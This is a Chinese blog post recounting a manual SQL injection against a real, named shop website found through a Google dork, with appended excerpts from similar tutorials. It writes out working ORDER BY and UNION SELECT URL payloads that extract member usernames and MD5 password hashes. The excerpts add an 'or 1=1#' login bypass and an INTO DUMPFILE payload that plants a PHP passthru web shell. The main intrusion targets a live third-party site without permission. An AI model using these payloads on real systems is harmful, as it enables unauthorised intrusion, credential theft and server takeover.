记一次php手工注入(mysql)

光说不练假把式,关于脚本入侵看的心痒,就实践了一把。

首先google:inurl:"php?id="

发现这个网站可get注入:

http://brand.66wz.com/store.php?id=18

试了下http://brand.66wz.com/store.php?id=18 and user>0

有反应,网页上出现错误提示:

然后输入

http://brand.66wz.com/store.php?id=18 and order by 5

报错:

根据提示,改为:

http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20

页面正常:

再将5改为30,错误。

改为20,正常。

······

最后得到的临界值为24

然后通过火狐的插件得到下面网址:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables

后面的tables我试了很多单词,如admin什么的,都不行。

本来到这里就该结束了。

后来感觉太可惜了,抱着试一试的心态从网页的源代码取了点关键词百度了一下,发现了跟这个网站很多相关的信息:(http://zhangjianbin.iteye.com/blog/1631387)

其中有:

brand_admincp_group 管理组

brand_admincp_member 管理员

brand_admincp_perm 管理员权限

brand_adminsession 管理员与店铺管理员登录次数与信息判断

brand_members 会员信息

最后连源代码都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm

然后进入:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members

ok!10可以插入字段。

分别插入username以及password就得到了用户名以及md5加密的密码:

那么怎么匹配usernamepasseord呢,用穿山甲扫描的时候发现还有一个uid字段:

所以只要在网址中分别添上"where uid=xxxxx"就行了。

比如说:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

再后来,md5解密的时候发现。。。

乌云上已经有这个网站的漏洞了:

http://www.wooyun.org/bugs/wooyun-2010-046524

还真是有够年久了。

时间: 2024-10-13 08:24:01

记一次php手工注入(mysql)的相关文章

手工注入——MySQL手工注入实战和分析

今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错.这里通过and 1=1 发现页面正常.如下图. 接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点.如下图. 第二步,判断字段数 通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

Mysql数据库的mysql Schema 到底有哪些东西& 手工注入的基础要领

#查看数据库版本 mysql> select @@version; +------------+ | @@version  | +------------+ | 5.5.16-log | +------------+ 1 row in set (0.00 sec) mysql> select * from information_schema.schemata; # 保存了系统的所有的数据库名 ,关键的字段是schema_name # 2 rows in set (0.04 sec)表示只有2

MySQL手工注入方法

MySQL手工注入方法 原文地址:https://www.cnblogs.com/blogs-1024/p/11141285.html

MYSQL手工注入(详细步骤)—— 待补充

0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ?? ?????▲基于错误的 SQL 注入 ?? ??? ?▲联合查询的类型 ?? ??? ?▲堆查询注射 ?? ??? ?▲SQL 盲注 ?? ??? ??? ??基于布尔 SQL 盲注 ?? ??? ??? ??基于时间的 SQL 盲注 ?? ??? ??? ??基于报错的 SQL 盲注 (2)基于如何处理输入的 SQL 查询(数据类型) ?? ??? ??基于字符串 ?? ??? ??数字或整数为基础的 (3)基于程度和顺序的注

【运维安全】-MySQL手工注入

为什么要学习手工注入? 工具:sqlmap 万能密码,直接登录到后台页面,不需要密码:admin' or 1=1#,当后台存在注入的话,才能使用注入密码,不是所有的网站进行登录. 当输入admin,admin,在后台的SQL语句是: select * from user where username='$user' and password='pass'; 提交的代码时,语句是: select * from user where username='admin' or 1=1#' and pas

手工注入基本思路

手工注入 说下我的基本思路:1.目标站点环境为:Windows+Apache+Mysql+PHP2.存在SQL注入,能否直接写一句话木马3.存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell4.获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马 不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯.下面具体来说明下:1.尝试1=1的情况,正确 http://xxx/xxx.php?id=2900 and 1=1 复制代码 2.尝

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR